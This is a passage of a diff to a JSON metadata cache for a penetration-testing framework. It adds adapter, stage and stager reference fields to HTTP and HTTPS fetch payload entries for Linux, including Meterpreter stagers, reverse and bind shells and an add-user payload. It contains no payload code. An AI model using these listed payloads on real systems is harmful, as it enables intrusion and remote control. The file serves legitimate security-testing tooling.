"payload_cmd/linux/http/x86/generic/debug_trap": { "name": "HTTP Fetch, Generic x86 Debug Trap", @@ -178657,7 +178889,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "generic/debug_trap", + "staged": false }, "payload_cmd/linux/http/x86/generic/tight_loop": { "name": "HTTP Fetch, Generic x86 Tight Loop", @@ -178693,7 +178929,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "generic/tight_loop", + "staged": false }, "payload_cmd/linux/http/x86/meterpreter/bind_ipv6_tcp": { "name": "HTTP Fetch, Bind IPv6 TCP Stager (Linux x86)", @@ -178731,7 +178971,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, "payload_cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", @@ -178770,7 +179016,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, "payload_cmd/linux/http/x86/meterpreter/bind_nonx_tcp": { "name": "HTTP Fetch, Bind TCP Stager", @@ -178807,7 +179059,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/bind_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_nonx_tcp" }, "payload_cmd/linux/http/x86/meterpreter/bind_tcp": { "name": "HTTP Fetch, Bind TCP Stager (Linux x86)", @@ -178845,7 +179103,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp" }, "payload_cmd/linux/http/x86/meterpreter/bind_tcp_uuid": { "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Linux x86)", @@ -178884,7 +179148,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp_uuid" }, "payload_cmd/linux/http/x86/meterpreter/find_tag": { "name": "HTTP Fetch, Find Tag Stager", @@ -178921,7 +179191,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/find_tag", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/find_tag" }, "payload_cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp": { "name": "HTTP Fetch, Reverse TCP Stager (IPv6)", @@ -178958,7 +179234,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, "payload_cmd/linux/http/x86/meterpreter/reverse_nonx_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", @@ -178995,7 +179277,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, "payload_cmd/linux/http/x86/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", @@ -179034,7 +179322,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp" }, "payload_cmd/linux/http/x86/meterpreter/reverse_tcp_uuid": { "name": "HTTP Fetch, Reverse TCP Stager", @@ -179073,7 +179367,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, "payload_cmd/linux/http/x86/meterpreter_reverse_http": { "name": "HTTP Fetch", @@ -179111,7 +179411,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_http", + "staged": false }, "payload_cmd/linux/http/x86/meterpreter_reverse_https": { "name": "HTTP Fetch", @@ -179149,7 +179453,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_https", + "staged": false }, "payload_cmd/linux/http/x86/meterpreter_reverse_tcp": { "name": "HTTP Fetch", @@ -179187,7 +179495,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/linux/http/x86/metsvc_bind_tcp": { "name": "HTTP Fetch, Linux Meterpreter Service, Bind TCP", @@ -179223,7 +179535,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/metsvc_bind_tcp", + "staged": false }, "payload_cmd/linux/http/x86/metsvc_reverse_tcp": { "name": "HTTP Fetch, Linux Meterpreter Service, Reverse TCP Inline", @@ -179259,7 +179575,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/metsvc_reverse_tcp", + "staged": false }, "payload_cmd/linux/http/x86/read_file": { "name": "HTTP Fetch, Linux Read File", @@ -179295,7 +179615,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/read_file", + "staged": false }, "payload_cmd/linux/http/x86/shell/bind_ipv6_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", @@ -179333,7 +179657,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, "payload_cmd/linux/http/x86/shell/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", @@ -179372,7 +179702,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, "payload_cmd/linux/http/x86/shell/bind_nonx_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager", @@ -179408,7 +179744,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/bind_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_nonx_tcp" }, "payload_cmd/linux/http/x86/shell/bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", @@ -179445,7 +179787,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/bind_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp" }, "payload_cmd/linux/http/x86/shell/bind_tcp_uuid": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", @@ -179483,7 +179831,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/bind_tcp_uuid" }, "payload_cmd/linux/http/x86/shell/find_tag": { "name": "HTTP Fetch, Linux Command Shell, Find Tag Stager", @@ -179519,7 +179873,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/find_tag", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/find_tag" }, "payload_cmd/linux/http/x86/shell/reverse_ipv6_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", @@ -179556,7 +179916,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, "payload_cmd/linux/http/x86/shell/reverse_nonx_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", @@ -179592,7 +179958,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/reverse_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, "payload_cmd/linux/http/x86/shell/reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", @@ -179630,7 +180002,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/reverse_tcp", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp" }, "payload_cmd/linux/http/x86/shell/reverse_tcp_uuid": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", @@ -179668,7 +180046,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/shell", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, "payload_cmd/linux/http/x86/shell_bind_ipv6_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", @@ -179704,7 +180088,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_bind_ipv6_tcp", + "staged": false }, "payload_cmd/linux/http/x86/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", @@ -179740,7 +180128,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_bind_tcp", + "staged": false }, "payload_cmd/linux/http/x86/shell_bind_tcp_random_port": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", @@ -179778,7 +180170,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_bind_tcp_random_port", + "staged": false }, "payload_cmd/linux/http/x86/shell_find_port": { "name": "HTTP Fetch, Linux Command Shell, Find Port Inline", @@ -179814,7 +180210,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_find_port", + "staged": false }, "payload_cmd/linux/http/x86/shell_find_tag": { "name": "HTTP Fetch, Linux Command Shell, Find Tag Inline", @@ -179850,7 +180250,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_find_tag", + "staged": false }, "payload_cmd/linux/http/x86/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", @@ -179887,7 +180291,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_reverse_tcp", + "staged": false }, "payload_cmd/linux/http/x86/shell_reverse_tcp_ipv6": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", @@ -179923,7 +180331,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/shell_reverse_tcp_ipv6", + "staged": false }, "payload_cmd/linux/https/mips64/meterpreter_reverse_http": { "name": "HTTPS Fetch", @@ -179961,7 +180373,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_http", + "staged": false }, "payload_cmd/linux/https/mips64/meterpreter_reverse_https": { "name": "HTTPS Fetch", @@ -179999,7 +180415,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_https", + "staged": false }, "payload_cmd/linux/https/mips64/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", @@ -180037,7 +180457,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/linux/https/x64/exec": { "name": "HTTPS Fetch, Linux Execute Command", @@ -180073,7 +180497,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/exec", + "staged": false }, "payload_cmd/linux/https/x64/meterpreter/bind_tcp": { "name": "HTTPS Fetch, Bind TCP Stager", @@ -180109,7 +180537,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/bind_tcp" }, "payload_cmd/linux/https/x64/meterpreter/reverse_sctp": { "name": "HTTPS Fetch, Reverse SCTP Stager", @@ -180145,7 +180579,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/meterpreter/reverse_sctp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_sctp" }, "payload_cmd/linux/https/x64/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", @@ -180182,7 +180622,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_tcp" }, "payload_cmd/linux/https/x64/meterpreter_reverse_http": { "name": "HTTPS Fetch", @@ -180219,7 +180665,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_http", + "staged": false }, "payload_cmd/linux/https/x64/meterpreter_reverse_https": { "name": "HTTPS Fetch", @@ -180256,7 +180706,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_https", + "staged": false }, "payload_cmd/linux/https/x64/meterpreter_reverse_tcp": { "name": "HTTPS Fetch", @@ -180293,7 +180747,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/linux/https/x64/pingback_bind_tcp": { "name": "HTTPS Fetch, Linux x64 Pingback, Bind TCP Inline", @@ -180328,7 +180786,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/pingback_bind_tcp", + "staged": false }, "payload_cmd/linux/https/x64/pingback_reverse_tcp": { "name": "HTTPS Fetch, Linux x64 Pingback, Reverse TCP Inline", @@ -180363,7 +180825,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/pingback_reverse_tcp", + "staged": false }, "payload_cmd/linux/https/x64/shell/bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager", @@ -180398,7 +180864,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/bind_tcp" }, "payload_cmd/linux/https/x64/shell/reverse_sctp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse SCTP Stager", @@ -180434,7 +180906,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell/reverse_sctp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_sctp" }, "payload_cmd/linux/https/x64/shell/reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", @@ -180470,7 +180948,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_tcp" }, "payload_cmd/linux/https/x64/shell_bind_ipv6_tcp": { "name": "HTTPS Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", @@ -180505,7 +180989,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell_bind_ipv6_tcp", + "staged": false }, "payload_cmd/linux/https/x64/shell_bind_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", @@ -180540,7 +181028,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell_bind_tcp", + "staged": false }, "payload_cmd/linux/https/x64/shell_bind_tcp_random_port": { "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline", @@ -180575,7 +181067,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell_bind_tcp_random_port", + "staged": false }, "payload_cmd/linux/https/x64/shell_find_port": { "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", @@ -180610,7 +181106,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell_find_port", + "staged": false }, "payload_cmd/linux/https/x64/shell_reverse_ipv6_tcp": { "name": "HTTPS Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", @@ -180645,7 +181145,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell_reverse_ipv6_tcp", + "staged": false }, "payload_cmd/linux/https/x64/shell_reverse_tcp": { "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", @@ -180680,7 +181184,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x64", + "adapted_refname": "linux/x64/shell_reverse_tcp", + "staged": false }, "payload_cmd/linux/https/x86/adduser": { "name": "HTTPS Fetch, Linux Add User", @@ -180718,7 +181226,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/adduser", + "staged": false }, "payload_cmd/linux/https/x86/chmod": { "name": "HTTPS Fetch, Linux Chmod", @@ -180754,7 +181266,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/chmod", + "staged": false }, "payload_cmd/linux/https/x86/exec": { "name": "HTTPS Fetch, Linux Execute Command", @@ -180792,7 +181308,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/exec", + "staged": false }, "payload_cmd/linux/https/x86/generic/debug_trap": { "name": "HTTPS Fetch, Generic x86 Debug Trap", @@ -180828,7 +181348,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "generic/debug_trap", + "staged": false }, "payload_cmd/linux/https/x86/generic/tight_loop": { "name": "HTTPS Fetch, Generic x86 Tight Loop", @@ -180864,7 +181388,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "generic/tight_loop", + "staged": false }, "payload_cmd/linux/https/x86/meterpreter/bind_ipv6_tcp": { "name": "HTTPS Fetch, Bind IPv6 TCP Stager (Linux x86)", @@ -180902,7 +181430,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, "payload_cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", @@ -180941,7 +181475,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, "payload_cmd/linux/https/x86/meterpreter/bind_nonx_tcp": { "name": "HTTPS Fetch, Bind TCP Stager", @@ -180978,7 +181518,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/bind_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_nonx_tcp" }, "payload_cmd/linux/https/x86/meterpreter/bind_tcp": { "name": "HTTPS Fetch, Bind TCP Stager (Linux x86)", @@ -181016,7 +181562,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp" }, "payload_cmd/linux/https/x86/meterpreter/bind_tcp_uuid": { "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Linux x86)", @@ -181055,7 +181607,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp_uuid" }, "payload_cmd/linux/https/x86/meterpreter/find_tag": { "name": "HTTPS Fetch, Find Tag Stager", @@ -181092,7 +181650,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/find_tag", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/find_tag" }, "payload_cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager (IPv6)", @@ -181129,7 +181693,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, "payload_cmd/linux/https/x86/meterpreter/reverse_nonx_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", @@ -181166,7 +181736,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, "payload_cmd/linux/https/x86/meterpreter/reverse_tcp": { "name": "HTTPS Fetch, Reverse TCP Stager", @@ -181205,7 +181781,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp" }, "payload_cmd/linux/https/x86/meterpreter/reverse_tcp_uuid": { "name": "HTTPS Fetch, Reverse TCP Stager", @@ -181244,7 +181826,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp_uuid" }, "payload_cmd/linux/https/x86/meterpreter_reverse_http": { "name": "HTTPS Fetch", @@ -181282,7 +181870,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_http", + "staged": false }, "payload_cmd/linux/https/x86/meterpreter_reverse_https": { "name": "HTTPS Fetch", @@ -181320,7 +181912,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/https/x86", + "adapted_refname": "linux/x86/meterpreter_reverse_https", + "staged": false }, 